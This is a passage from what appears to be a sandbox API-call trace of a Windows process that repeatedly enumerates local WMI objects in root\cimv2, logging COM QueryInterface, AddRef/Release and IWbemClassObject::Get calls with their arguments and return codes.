pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.229] IWbemClassObject:Get (in: This=0x6101760, wszName="__RELPATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.229] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e764 | out: puCount=0x5e8e764*=0x2) returned 0x0 [0067.229] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e760*=0x17, pszText=0x0) returned 0x0 [0067.229] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e760*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.229] CoGetContextToken (in: pToken=0x5e8e4ec | out: pToken=0x5e8e4ec) returned 0x0 [0067.229] IUnknown:AddRef (This=0x60fd634) returned 0x3 [0067.229] IEnumWbemClassObject:Next (in: This=0x60fd634, lTimeout=-1, uCount=0x1, apObjects=0x406f78, puReturned=0x2e27944 | out: apObjects=0x406f78*=0x61018f8, puReturned=0x2e27944*=0x1) returned 0x0 [0067.230] IUnknown:QueryInterface (in: This=0x61018f8, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8daf8 | out: ppvObject=0x5e8daf8*=0x61018f8) returned 0x0 [0067.230] IUnknown:QueryInterface (in: This=0x61018f8, riid=0x74a64204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5e8dab4 | out: ppvObject=0x5e8dab4*=0x0) returned 0x80004002 [0067.230] IUnknown:QueryInterface (in: This=0x61018f8, riid=0x74990b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5e8d9a8 | out: ppvObject=0x5e8d9a8*=0x0) returned 0x80004002 [0067.230] IUnknown:AddRef (This=0x61018f8) returned 0x3 [0067.230] CoGetContextToken (in: pToken=0x5e8d940 | out: pToken=0x5e8d940) returned 0x0 [0067.230] IUnknown:QueryInterface (in: This=0x61018f8, riid=0x749423cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8d928 | out: ppvObject=0x5e8d928*=0x61018fc) returned 0x0 [0067.230] IMarshal:GetUnmarshalClass (in: This=0x61018fc, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5e8d930 | out: pCid=0x5e8d930*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0067.230] IUnknown:Release (This=0x61018fc) returned 0x3 [0067.230] CoGetContextToken (in: pToken=0x5e8d938 | out: pToken=0x5e8d938) returned 0x0 [0067.231] IUnknown:AddRef (This=0x61018f8) returned 0x4 [0067.231] IUnknown:QueryInterface (in: This=0x61018f8, riid=0x7499767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8d9ac | out: ppvObject=0x5e8d9ac*=0x0) returned 0x80004002 [0067.231] IUnknown:Release (This=0x61018f8) returned 0x3 [0067.231] IUnknown:Release (This=0x61018f8) returned 0x2 [0067.231] CoGetContextToken (in: pToken=0x5e8dd98 | out: pToken=0x5e8dd98) returned 0x0 [0067.231] CoGetContextToken (in: pToken=0x5e8dd58 | out: pToken=0x5e8dd58) returned 0x0 [0067.231] IUnknown:AddRef (This=0x61018f8) returned 0x3 [0067.231] IUnknown:QueryInterface (in: This=0x61018f8, riid=0x5e8ddd4*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x5e8ddd0 | out: ppvObject=0x5e8ddd0*=0x61018f8) returned 0x0 [0067.231] IUnknown:Release (This=0x61018f8) returned 0x3 [0067.231] IUnknown:Release (This=0x61018f8) returned 0x2 [0067.231] IUnknown:Release (This=0x61018f8) returned 0x1 [0067.231] IUnknown:Release (This=0x60fd634) returned 0x2 [0067.231] CoGetContextToken (in: pToken=0x5e8e67c | out: pToken=0x5e8e67c) returned 0x0 [0067.231] IUnknown:AddRef (This=0x61018f8) returned 0x2 [0067.231] IWbemClassObject:Get (in: This=0x61018f8, wszName="__GENUS", lFlags=0, pVal=0x5e8e6f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e7ac*=0, plFlavor=0x5e8e7a8*=0 | out: pVal=0x5e8e6f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x5e8e7ac*=3, plFlavor=0x5e8e7a8*=64) returned 0x0 [0067.232] IWbemClassObject:Get (in: This=0x61018f8, wszName="__PATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=0, plFlavor=0x5e8e78c*=0 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.232] IWbemClassObject:Get (in: This=0x61018f8, wszName="__RELPATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.232] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e764 | out: puCount=0x5e8e764*=0x2) returned 0x0 [0067.232] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e760*=0x17, pszText=0x0) returned 0x0 [0067.232] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e760*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.232] CoGetContextToken (in: pToken=0x5e8e4ec | out: pToken=0x5e8e4ec) returned 0x0 [0067.232] IUnknown:AddRef (This=0x60fd634) returned 0x3 [0067.232] IEnumWbemClassObject:Next (in: This=0x60fd634, lTimeout=-1, uCount=0x1, apObjects=0x406f78, puReturned=0x2e27944 | out: apObjects=0x406f78*=0x6101a90, puReturned=0x2e27944*=0x1) returned 0x0 [0067.233] IUnknown:QueryInterface (in: This=0x6101a90, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8daf8 | out: ppvObject=0x5e8daf8*=0x6101a90) returned 0x0 [0067.233] IUnknown:QueryInterface (in: This=0x6101a90, riid=0x74a64204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5e8dab4 | out: ppvObject=0x5e8dab4*=0x0) returned 0x80004002 [0067.233] IUnknown:QueryInterface (in: This=0x6101a90, riid=0x74990b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5e8d9a8 | out: ppvObject=0x5e8d9a8*=0x0) returned 0x80004002 [0067.233] IUnknown:AddRef (This=0x6101a90) returned 0x3 [0067.233] CoGetContextToken (in: pToken=0x5e8d940 | out: pToken=0x5e8d940) returned 0x0 [0067.233] IUnknown:QueryInterface (in: This=0x6101a90, riid=0x749423cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8d928 | out: ppvObject=0x5e8d928*=0x6101a94) returned 0x0 [0067.233] IMarshal:GetUnmarshalClass (in: This=0x6101a94, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5e8d930 | out: pCid=0x5e8d930*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0067.233] IUnknown:Release (This=0x6101a94) returned 0x3 [0067.233] CoGetContextToken (in: pToken=0x5e8d938 | out: pToken=0x5e8d938) returned 0x0 [0067.233] IUnknown:AddRef (This=0x6101a90) returned 0x4 [0067.233] IUnknown:QueryInterface (in: This=0x6101a90, riid=0x7499767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8d9ac | out: ppvObject=0x5e8d9ac*=0x0) returned 0x80004002 [0067.234] IUnknown:Release (This=0x6101a90) returned 0x3 [0067.234] IUnknown:Release (This=0x6101a90) returned 0x2 [0067.234] CoGetContextToken (in: pToken=0x5e8dd98 | out: pToken=0x5e8dd98) returned 0x0 [0067.234] CoGetContextToken (in: pToken=0x5e8dd58 | out: pToken=0x5e8dd58) returned 0x0 [0067.234] IUnknown:AddRef (This=0x6101a90) returned 0x3 [0067.234] IUnknown:QueryInterface (in: This=0x6101a90, riid=0x5e8ddd4*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x5e8ddd0 | out: ppvObject=0x5e8ddd0*=0x6101a90) returned 0x0 [0067.234] IUnknown:Release (This=0x6101a90) returned 0x3 [0067.234] IUnknown:Release (This=0x6101a90) returned 0x2 [0067.234] IUnknown:Release (This=0x6101a90) returned 0x1 [0067.234] IUnknown:Release (This=0x60fd634) returned 0x2 [0067.234] CoGetContextToken (in: pToken=0x5e8e67c | out: pToken=0x5e8e67c) returned 0x0 [0067.234] IUnknown:AddRef (This=0x6101a90) returned 0x2 [0067.234] IWbemClassObject:Get (in: This=0x6101a90, wszName="__GENUS", lFlags=0, pVal=0x5e8e6f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e7ac*=0, plFlavor=0x5e8e7a8*=0 | out: pVal=0x5e8e6f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x5e8e7ac*=3, plFlavor=0x5e8e7a8*=64) returned 0x0 [0067.234] IWbemClassObject:Get (in: This=0x6101a90, wszName="__PATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=0, plFlavor=0x5e8e78c*=0 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.234] IWbemClassObject:Get (in: This=0x6101a90, wszName="__RELPATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.235] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e764 | out: puCount=0x5e8e764*=0x2) returned 0x0 [0067.235] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e760*=0x17, pszText=0x0) returned 0x0 [0067.235] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e760*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.235] CoGetContextToken (in: pToken=0x5e8e4ec | out: pToken=0x5e8e4ec) returned 0x0 [0067.235] IUnknown:AddRef (This=0x60fd634) returned 0x3 [0067.235] IEnumWbemClassObject:Next (in: This=0x60fd634, lTimeout=-1, uCount=0x1, apObjects=0x406f78, puReturned=0x2e27944 | out: apObjects=0x406f78*=0x6101c28, puReturned=0x2e27944*=0x1) returned 0x0 [0067.235] IUnknown:QueryInterface (in: This=0x6101c28, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8daf8 | out: ppvObject=0x5e8daf8*=0x6101c28) returned 0x0 [0067.236] IUnknown:QueryInterface (in: This=0x6101c28, riid=0x74a64204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5e8dab4 | out: ppvObject=0x5e8dab4*=0x0) returned 0x80004002 [0067.236] IUnknown:QueryInterface (in: This=0x6101c28, riid=0x74990b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5e8d9a8 | out: ppvObject=0x5e8d9a8*=0x0) returned 0x80004002 [0067.236] IUnknown:AddRef (This=0x6101c28) returned 0x3 [0067.236] CoGetContextToken (in: pToken=0x5e8d940 | out: pToken=0x5e8d940) returned 0x0 [0067.236] IUnknown:QueryInterface (in: This=0x6101c28, riid=0x749423cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8d928 | out: ppvObject=0x5e8d928*=0x6101c2c) returned 0x0 [0067.236] IMarshal:GetUnmarshalClass (in: This=0x6101c2c, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5e8d930 | out: pCid=0x5e8d930*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0067.236] IUnknown:Release (This=0x6101c2c) returned 0x3 [0067.236] CoGetContextToken (in: pToken=0x5e8d938 | out: pToken=0x5e8d938) returned 0x0 [0067.236] IUnknown:AddRef (This=0x6101c28) returned 0x4 [0067.236] IUnknown:QueryInterface (in: This=0x6101c28, riid=0x7499767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8d9ac | out: ppvObject=0x5e8d9ac*=0x0) returned 0x80004002 [0067.236] IUnknown:Release (This=0x6101c28) returned 0x3 [0067.236] IUnknown:Release (This=0x6101c28) returned 0x2 [0067.236] CoGetContextToken (in: pToken=0x5e8dd98 | out: pToken=0x5e8dd98) returned 0x0 [0067.236] CoGetContextToken (in: pToken=0x5e8dd58 | out: pToken=0x5e8dd58) returned 0x0 [0067.236] IUnknown:AddRef (This=0x6101c28) returned 0x3 [0067.236] IUnknown:QueryInterface (in: This=0x6101c28, riid=0x5e8ddd4*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x5e8ddd0 | out: ppvObject=0x5e8ddd0*=0x6101c28) returned 0x0 [0067.236] IUnknown:Release (This=0x6101c28) returned 0x3 [0067.236] IUnknown:Release (This=0x6101c28) returned 0x2 [0067.236] IUnknown:Release (This=0x6101c28) returned 0x1 [0067.237] IUnknown:Release (This=0x60fd634) returned 0x2 [0067.237] CoGetContextToken (in: pToken=0x5e8e67c | out: pToken=0x5e8e67c) returned 0x0 [0067.237] IUnknown:AddRef (This=0x6101c28) returned 0x2 [0067.237] IWbemClassObject:Get (in: This=0x6101c28, wszName="__GENUS", lFlags=0, pVal=0x5e8e6f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e7ac*=0, plFlavor=0x5e8e7a8*=0 | out: pVal=0x5e8e6f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x5e8e7ac*=3, plFlavor=0x5e8e7a8*=64) returned 0x0 [0067.237] IWbemClassObject:Get (in: This=0x6101c28, wszName="__PATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=0, plFlavor=0x5e8e78c*=0 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.237] IWbemClassObject:Get (in: This=0x6101c28, wszName="__RELPATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.237] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e764 | out: puCount=0x5e8e764*=0x2) returned 0x0 [0067.237] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e760*=0x17, pszText=0x0) returned 0x0 [0067.238] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e760*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.238] CoGetContextToken (in: pToken=0x5e8e4ec | out: pToken=0x5e8e4ec) returned 0x0 [0067.238] IUnknown:AddRef (This=0x60fd634) returned 0x3 [0067.238] IEnumWbemClassObject:Next (in: This=0x60fd634, lTimeout=-1, uCount=0x1, apObjects=0x406f78, puReturned=0x2e27944 | out: apObjects=0x406f78*=0x6101dc0, puReturned=0x2e27944*=0x1) returned 0x0 [0067.238] IUnknown:QueryInterface (in: This=0x6101dc0, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8daf8 | out: ppvObject=0x5e8daf8*=0x6101dc0) returned 0x0 [0067.239] IUnknown:QueryInterface (in: This=0x6101dc0, riid=0x74a64204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5e8dab4 | out: ppvObject=0x5e8dab4*=0x0) returned 0x80004002 [0067.239] IUnknown:QueryInterface (in: This=0x6101dc0, riid=0x74990b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5e8d9a8 | out: ppvObject=0x5e8d9a8*=0x0) returned 0x80004002 [0067.239] IUnknown:AddRef (This=0x6101dc0) returned 0x3 [0067.239] CoGetContextToken (in: pToken=0x5e8d940 | out: pToken=0x5e8d940) returned 0x0 [0067.239] IUnknown:QueryInterface (in: This=0x6101dc0, riid=0x749423cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8d928 | out: ppvObject=0x5e8d928*=0x6101dc4) returned 0x0 [0067.239] IMarshal:GetUnmarshalClass (in: This=0x6101dc4, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5e8d930 | out: pCid=0x5e8d930*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0067.239] IUnknown:Release (This=0x6101dc4) returned 0x3 [0067.239] CoGetContextToken (in: pToken=0x5e8d938 | out: pToken=0x5e8d938) returned 0x0 [0067.239] IUnknown:AddRef (This=0x6101dc0) returned 0x4 [0067.239] IUnknown:QueryInterface (in: This=0x6101dc0, riid=0x7499767c*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8d9ac | out: ppvObject=0x5e8d9ac*=0x0) returned 0x80004002 [0067.239] IUnknown:Release (This=0x6101dc0) returned 0x3 [0067.239] IUnknown:Release (This=0x6101dc0) returned 0x2 [0067.239] CoGetContextToken (in: pToken=0x5e8dd98 | out: pToken=0x5e8dd98) returned 0x0 [0067.239] CoGetContextToken (in: pToken=0x5e8dd58 | out: pToken=0x5e8dd58) returned 0x0 [0067.239] IUnknown:AddRef (This=0x6101dc0) returned 0x3 [0067.239] IUnknown:QueryInterface (in: This=0x6101dc0, riid=0x5e8ddd4*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x5e8ddd0 | out: ppvObject=0x5e8ddd0*=0x6101dc0) returned 0x0 [0067.239] IUnknown:Release (This=0x6101dc0) returned 0x3 [0067.239] IUnknown:Release (This=0x6101dc0) returned 0x2 [0067.240] IUnknown:Release (This=0x6101dc0) returned 0x1 [0067.240] IUnknown:Release (This=0x60fd634) returned 0x2 [0067.240] CoGetContextToken (in: pToken=0x5e8e67c | out: pToken=0x5e8e67c) returned 0x0 [0067.240] IUnknown:AddRef (This=0x6101dc0) returned 0x2 [0067.240] IWbemClassObject:Get (in: This=0x6101dc0, wszName="__GENUS", lFlags=0, pVal=0x5e8e6f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e7ac*=0, plFlavor=0x5e8e7a8*=0 | out: pVal=0x5e8e6f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x5e8e7ac*=3, plFlavor=0x5e8e7a8*=64) returned 0x0 [0067.240] IWbemClassObject:Get (in: This=0x6101dc0, wszName="__PATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=0, plFlavor=0x5e8e78c*=0 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.240] IWbemClassObject:Get (in: This=0x6101dc0, wszName="__RELPATH", lFlags=0, pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64 | out: pVal=0x5e8e6d8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x5e8e790*=8, plFlavor=0x5e8e78c*=64) returned 0x0 [0067.240] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x60fcaa8, puCount=0x5e8e764 | out: puCount=0x5e8e764*=0x2) returned 0x0 [0067.240] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x0, pszText=0x0 | out: puBuffLength=0x5e8e760*=0x17, pszText=0x0) returned 0x0 [0067.240] WbemDefPath:IWbemPath:GetText (in: This=0x60fcaa8, lFlags=4, puBuffLength=0x5e8e760*=0x17, pszText="0000000000000000000000" | out: puBuffLength=0x5e8e760*=0x17, pszText="\\\\localhost\\root\\cimv2") returned 0x0 [0067.240] CoGetContextToken (in: pToken=0x5e8e4ec | out: pToken=0x5e8e4ec) returned 0x0 [0067.240] IUnknown:AddRef (This=0x60fd634) returned 0x3 [0067.240] IEnumWbemClassObject:Next (in: This=0x60fd634, lTimeout=-1, uCount=0x1, apObjects=0x406f78, puReturned=0x2e27944 | out: apObjects=0x406f78*=0x6101f58, puReturned=0x2e27944*=0x1) returned 0x0 [0067.241] IUnknown:QueryInterface (in: This=0x6101f58, riid=0x74a47714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5e8daf8 | out: ppvObject=0x5e8daf8*=0x6101f58) returned 0x0 [0067.241] IUnknown:QueryInterface (in: This=0x6101f58, riid=0x74a64204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5e8dab4 | out: ppvObject=0x5e8dab4*=0x0) returned 0x80004002 [0067.241] IUnknown:QueryInterface (in: This=0x6101f58, riid=0x74990b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5e8d9a8 | out: ppvObject=0x5e8d9a8*=0x0) returned 